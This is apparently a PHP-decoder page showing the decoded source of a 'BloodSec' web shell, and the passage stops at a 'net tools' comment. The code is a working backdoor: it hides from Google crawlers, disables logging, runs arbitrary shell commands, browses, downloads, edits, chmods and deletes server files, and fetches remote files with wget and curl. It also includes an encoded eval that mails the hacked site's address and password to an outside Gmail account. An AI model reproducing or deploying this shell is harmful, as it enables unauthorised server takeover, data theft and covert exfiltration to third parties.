Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* (Code By D4rkj1n~ / Design Neozone~ default pass:"bloodsecurity") */ /* You ca..
Decoded Output download
?><?php
$color = "00FF88";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
?>
<!--Start-->
<head>
<TITLE>BloodSec International </TITLE>
<META NAME="description" CONTENT="Group of research team gathe#428bca to study,develop,and demonstrate any internet related stuff including pc softwares.">
<META NAME="keywords" CONTENT="">
<META NAME="robot" CONTENT="index,nofollow">
<META NAME="copyright" CONTENT="Copyright 2014 www.giganodes.com . All Rights Reserved.">
<META NAME="author" CONTENT="NeoZone">
<META NAME="language" CONTENT="en">
<META NAME="revisit-after" CONTENT="3">
<link rel="shortcut icon" href="http://oi62.tinypic.com/vifocj.jpg" type="image/jpg">
<meta property="og:image" content='https://scontent-a-lax.xx.fbcdn.net/hphotos-xpf1/v/t1.0-9/10576980_256291684564788_5437752378177653914_n.jpg?oh=6b44d42f6d8e09378efcb5f745931120&oe=54C2CA77'/>
<link rel="stylesheet" href="http://www.nycfragrance.com/csvcategoryimportver1.0.3/system/css/layout/css/reset.css" type="text/css"/>
<link rel="stylesheet" href="http://www.nycfragrance.com/csvcategoryimportver1.0.3/system/css/netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap.min.css">
<link href='http://fonts.googleapis.com/css?family=Orbitron:400,900' rel='stylesheet' type='text/css'>
<link rel="stylesheet" href="http://www.nycfragrance.com/csvcategoryimportver1.0.3/system/css/layout/css/custom.css" type="text/css"/>
<script src="countdown.js" type="text/javascript"></script>
<script type="text/javascript" src="http://www.nycfragrance.com/csvcategoryimportver1.0.3/system/css/code.jquery.com/jquery-latest.js"></script>
<script type="text/javascript">
url="index.html";
main_url="index.html";
</script>
<style>
body{overflow:hidden;}
</style>
</head> <body id="body">
<!--- widget -->
<!--Next-->
<div class='widget-content'>
<td align="left"><style type="text/css">#info-teja {z-index: 1000;background:-moz-linear-gradient(top, #1F2326, #555);background: -webkit-gradient(linear, left top, left bottom, from(#1F2326), to(#555));box-shadow:-2px -2px 8px #202020, 2px 2px 20px #202020;-moz-box-shadow:-2px -2px 8px #202020, 2px 2px 20px #202020;-webkit-box-shadow:-2px -2px 8px #202020, 2px 2px 20px #202020;width:460px;position: fixed;top:150px;left:0;margin-left:-350px;border:1px solid #444;background-position:top right no-repeat;height:35px;font:11px Orbitron;color:#eee;border-top-right-radius:8px;border-bottom-right-radius:8px;-moz-border-radius-topright:8px;-moz-border-radius-bottomright:8px;-webkit-border-top-right-radius:8px;-webkit-border-bottom-right-radius:8px;}#info-teja{-o-transition: all 1s ease-in;-moz-transition: all 1s ease-in;-webkit-transition: all 1s ease-in;} #info-teja:hover{width:400px;opacity:1.0;margin-left:0;}.Tejainbox {border:1px solid #444;width:320px; margin:0px 90px 10px 10px;background:#000;color:#ffffff; border-radius :20px; padding:5px 0;-moz-border-radius:20px; -webkit-border-radius:20px;-o-transition:all 2s ease-in;-moz-transition:all 2s ease-in;-webkit-transition:all 2s ease-in;opacity:0.2;}.Tejainbox:hover{opacity:1.0;box-shadow:1px 1px 15px #000; -moz-box-shadow: 1px 1px 15px #000; -webkit-box-shadow: 1px 1px 15px #000;background: #000;}.Tejainbox2 {margin:5px 10px;padding:0px 8px 10px;color:#FFFFFF;overflow:hidden;height:370px;}.teja15 {border-radius:15px;-moz-border-radius:15px;-webkit-border-radius:15px;}.Teja2 ul.bom {margin: 0; padding: 0;}.Tejainbox2 li {margin-left:20px;}.Tejainbox2 li a {color: #FFFFF; line-height: 4px; font-size: 11px;font-weight: bold; text-decoration:none;}.Tejainbox2 li a:hover {color: #428bca;text-shadow: 0 1px 1px #000;}.Tejainbox2 h2 { font: 18px Droid Serif;font-weight:bold;padding:0 8px;color: #fffff;text-shadow: 0px 1px 1px #ddd;border-bottom: 1px solid #202020;}.Tejatouch {font-size:21px;font-weight:bold;font-family:Arial Narrow;float:right;margin: 3px 10px 0 0;-o-transition: all 0.5s ease-out;-moz-transition: all 0.5s ease-out;-webkit-transition: all 0.5s ease-out;text-decoration:blink;}.Tejatouch:hover{-o-transform: scale(2) rotate(720deg) translate(0px);-moz-transform: scale(2) rotate(720deg) translate(0px);-webkit-transform: scale(2) rotate(720deg) translate(0px);color: #fffff;}</style><div id="info-teja"><span class="Tejatouch" style="font-family:orbitron;font-size:18px">Credits:</span><div class="Tejainbox"><div class="Tejainbox2 teja15">
<h2><center> [+] Admin [+] </h2><br>
<center><div id="contenttengah"><center>
<img title="BloodSec International"src="http://imagizer.imageshack.us/a/img440/4273/6fix.png" width="50%"></div> </center>
<span class="style4"><center><FONT COLOR="#428bca"> Special Thanks : </center></FONT></span><br>
<span class="style4">Darkjin . . . . . Shell Programmer</span><br>
<span class="style4">Smurfie . . . . . Shell Programmer</span><br>
<span class="style4">NeoZone . . . . . Shell Designer</span><br>
<span class="style4">D & D . . . . . Shell Design Contributer</span>
</div></div></div></td>
</div>
<!--- End --->
<div class="container">
<div class="row hackBody mb10">
<div id="cann">
<canvas id="can" class="transparent_class"></canvas>
</div> <script src="http://www.nycfragrance.com/csvcategoryimportver1.0.3/system/css/layout/js/crazyIntro.js"></script>
<h1 class="tcenter weirdHeading">BloodSec International</h1>
<center>
<h3> Bypass | Shell V.4 </h3>
<div class="row text-center">
<div class="col-md-4 nopadding inline mb10 nofloat"><center>
<div class="loginContainer alphaGlow mb10">
<center><form method="post">
<input type="password" name="pass" id="password" style="text-align:center" placeholder="Enter Password Here">
</center></div>
<input type="submit" id="Send" value="Confirm">
</form></div> </div> <div class="row mb10 text-center ">
<div class="col-md-4 nopadding inline mb10 nofloat">
<div class="login_links"> <div class="row ">
<div class="col-md-6 mb10"> <a href="https://www.facebook.com/BloodSecHacker.gov" target="_blank">FACEBOOK PAGE</a>
</div> <div class="col-md-6 mb10">
<a href="https://www.facebook.com/groups/BSHRecZone/" target="_blank">FACEBOOK GROUP</a> </div> </div> <br>
</div>
</div> </div> <h4>Powered By:</h4>
<img title="BloodSec International"src="http://imagizer.imageshack.us/a/img440/4273/6fix.png" width="10%">
<div class="row" align="center">
<div class="col-md-12 tcenter nopadding footer"> <audio controls autoplay>
<source src="https://a.tumblr.com/tumblr_nc451eJAWg1tjcth4o1.mp3" type="audio/mpeg">Your browser does not support the audio element.
</audio><br><br> <p>Copyrights © 2015 www.bloodsec-international.net | All Rights Reserved</p><br><br><br><br><br><br><br><br><br><br><br><br></div> </div> </div> </div> <script data-no-instant src="layout/js/hackertime.js"></script> <script type="text/javascript" src="layout/js/html5.js"></script> <script type="text/javascript" src="layout/js/bootstrap-maxlength.js"></script> <script type="text/javascript" src="layout/js/global.js"></script> <script type="text/javascript" data-no-instant src="/netdna.bootstrapcdn.com/bootstrap/3.1.1/js/bootstrap.min.js"></script> <script type="text/javascript" data-no-instant src="layout/js/hackdown.js"></script> <script type="text/javascript" src="layout/js/jquery.slimscroll.min.js"></script> <script type="text/javascript" src="layout/messenger/js/messenger.min.js"></script> <script type="text/javascript" src="layout/messenger/js/messenger-theme-future.js"></script> <link rel="stylesheet" href="layout/messenger/css/messenger.min.css" type="text/css"/> </body>
<!--End-->
<?php
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
@ini_set('log_errors',0);
@ini_set('output_buffering',0);
if(isset($_GET['dl']) && ($_GET['dl'] != "")){
$file = $_GET['dl'];
$filez = @file_get_contents($file);
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file)."\";");
echo $filez;
exit;
}
elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
$file = $_GET['dlgzip'];
$filez = gzencode(@file_get_contents($file));
header("Content-Type:application/x-gzip
");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
echo $filez;
exit;
}
// view image
if(isset($_GET['img'])){
@ob_clean();
$d = magicboom($_GET['y']);
$f = $_GET['img'];
$inf = @getimagesize($d.$f);
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
@header("Content-type: ".$inf["mime"]);
@header("Cache-control: public");
@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
@header("Cache-control: max-age=".(60*60*24*7));
@readfile($d.$f);
exit;
}
// server software
$software = getenv("SERVER_SOFTWARE");
// check safemode
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
// uname -a
$system = @php_uname();
// mysql
function showstat($stat) {if ($stat=="on") {return "<b><font style='color:limegreen'>ON</font></b>";}else {return "<b><font style='color:#428bca'>OFF</font></b>";}}
function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
// check os
if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
else $win = FALSE;
// change directory
if(isset($_GET['y'])){
if(@is_dir($_GET['view'])){
$pwd = $_GET['view'];
@chdir($pwd);
}
else{
$pwd = $_GET['y'];
@chdir($pwd);
}
}
//hdd
function convertByte($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
// username, id, shell prompt and working directory
if(!$win){
if(!$user = rapih(exe("whoami"))) $user = "";
if(!$id = rapih(exe("id"))) $id = "";
$prompt = $user." \$ ";
$pwd = @getcwd().DIRECTORY_SEPARATOR;
}
else {
$user = @get_current_user();
$id = $user;
$prompt = $user." >";
$pwd = realpath(".")."\";
// find drive letters
$v = explode("\",$d);
$v = $v[0];
foreach (range("A","Z") as $letter)
{
$bool = @is_dir($letter.":\");
if ($bool)
{
$letters .= "<a href=\"?y=".$letter.":\">[ ";
if ($letter.":" != $v) {$letters .= $letter;}
else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
$letters .= " ]</a> ";
}
}
}
function testoracle() {
if (function_exists('ocilogon')) { return showstat("on"); }
else { return showstat("off"); }
}
function testmssql() {
if (function_exists('mssql_connect')) { return showstat("on"); }
else { return showstat("off"); }
}
function showdisablefunctions() {
if ($disablefunc=@ini_get("disable_functions")){ return "".$disablefunc.""; }
else { return "NONE"; }
}
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
// server ip
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
// your ip ;-)
$my_ip = $_SERVER['REMOTE_ADDR'];
$admin_id=$_SERVER['SERVER_ADMIN'];
$bindport = "13123";
$bindport_pass = "d4rkj1n";
// separate the working direcotory
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = "";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
$pathz = "";
for($j = 0 ; $j <= $i ; $j++){
$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
}
$pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
// rename file or folder
if(isset($_POST['rename'])){
$old = $_POST['oldname'];
$new = $_POST['newname'];
@rename($pwd.$old,$pwd.$new);
$file = $pwd.$new;
}
if(isset($_POST['chmod'])){
$name = $_POST['name'];
$value = $_POST['newvalue'];
if (strlen($value)==3){
$value = 0 . "" . $value;}
@chmod($pwd.$name,octdec($value));
$file = $pwd.$name;}
if(isset($_POST['chmod_folder'])){
$name = $_POST['name'];
$value = $_POST['newvalue'];
if (strlen($value)==3){
$value = 0 . "" . $value;}
@chmod($pwd.$name,octdec($value));
$file = $pwd.$name;}
// print useful info
echo"<center>";
$injbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIldTTyAyLjcgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAkYXV0aF9wYXNzIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiYmxvb2RzZWMuZGFya2ppbkBnbWFpbC5jb20iLCRqdWR1bCwkYm9keSwkYXV0aF9wYXNzKTsgfQ0KfQ0KZWxzZSB7ICR2aXNpdGMrKzsgfQ0KQHNldGNvb2tpZSgidmlzaXR6IiwkdmlzaXRjKTs=";
eval(base64_decode($injbuff));
function rapih($text){
return trim(str_replace("<br />","",$text));
}
function magicboom($text){
if (!get_magic_quotes_gpc()) {
return $text;
}
return stripslashes($text);
}
function showdir($pwd,$prompt){
$fname = array();
$dname = array();
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
$user = "????:????";
if($dh = @scandir($pwd)){
foreach($dh as $file){
if(is_dir($file)){
$dname[] = $file;
}
elseif(is_file($file)){
$fname[] = $file;
}
}
}
else{
if($dh = @opendir($pwd)){
while($file = @readdir($dh)){
if(@is_dir($file)){
$dname[] = $file;
}
elseif(@is_file($file)){
$fname[] = $file;
}
}
@closedir($dh);
}
}
echo $buff = "<span>MySQL: </span>".testmysql()." | MSSQL: ".testmssql()." | Oracle: ".testoracle()." | Perl: ".testperl()." | cURL: ".testcurl()." | WGet: ".testwget()."<br>"; ;
sort($fname);
sort($dname);
$path = @explode(DIRECTORY_SEPARATOR,$pwd);
$tree = @sizeof($path);
$parent = "";
$buff = "
<form action=\"?y=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
<table border=\"0\" class=\"cmdbox\" style=\"width:50%;\">
<tr><td><b>$prompt</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Proceed\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
</form>
<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<tr><td><b>view file/folder</b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
</form></table><table border=\"1\" style=\"border-color:#000\"class=\"explore\">
<tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
";
if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
else $parent = $pwd;
foreach($dname as $folder){
if($folder == ".") {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
<td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
<a href=\"?y=$pwd&edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
</form></td>
</tr>
";
}
elseif($folder == "..") {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'> $folder</a></td><td>LINK</td>
<td style=\"text-align:center;\">".$owner."</td>
<td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
<td><span id=\"titik2\"><a href=\"?y=$pwd&edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
</form>
</td></tr>";
}
else {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</b></a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
</form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
<td><center>
<a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&fdelete=".$pwd.$folder."\">delete</a></td></tr>";
}
}
foreach($fname as $file){
$full = $pwd.$file;
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
</form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
<a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
<td><a href=\"?y=$pwd&edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$full\">delete</a> | <a href=\"?y=$pwd&dl=$full\">download</a> (<a href=\"?y=$pwd&dlgzip=$full\">gzip</a>)</td></tr>";
}
$buff .= "</table>";
return $buff;
}
function ukuran($file){
if($size = @filesize($file)){
if($size <= 1024) return $size;
else{
if($size <= 1024*1024) {
$size = @round($size / 1024,2);;
return "$size kb";
}
else {
$size = @round($size / 1024 / 1024,2);
return "$size mb";
}
}
}
else return "???";
}
function exe($cmd){
if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result){
$buff .= $result;
}
return $buff;
}
elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('shell_exec')){
$buff = @shell_exec($cmd);
return $buff;
}
}
function tulis($file,$text){
$textz = gzinflate(base64_decode($text));
if($filez = @fopen($file,"w"))
{
@fputs($filez,$textz);
@fclose($file);
}
}
function ambil($link,$file) {
if($fp = @fopen($link,"r")){
while(!feof($fp)) {
$cont.= @fread($fp,1024);
}
@fclose($fp);
$fp2 = @fopen($file,"w");
@fwrite($fp2,$cont);
@fclose($fp2);
}
}
function which($pr){
$path = exe("which $pr");
if(!empty($path)) { return trim($path); } else { return trim($pr); }
}
function download($cmd,$url){
$namafile = basename($url);
switch($cmd) {
case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
case 'wfread' : ambil($wurl,$namafile);break;
case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
default: break;
}
return $namafile;
}
function get_perms($file)
{
if($mode=@fileperms($file)){
$perms='';
$perms .= ($mode & 00400) ? 'r' : '-';
$perms .= ($mode & 00200) ? 'w' : '-';
$perms .= ($mode & 00100) ? 'x' : '-';
$perms .= ($mode & 00040) ? 'r' : '-';
$perms .= ($mode & 00020) ? 'w' : '-';
$perms .= ($mode & 00010) ? 'x' : '-';
$perms .= ($mode & 00004) ? 'r' : '-';
$perms .= ($mode & 00002) ? 'w' : '-';
$perms .= ($mode & 00001) ? 'x' : '-';
return $perms;
}
else return "??????????";
}
function clearspace($text){
return str_replace(" ","_",$text);
}
// net tools
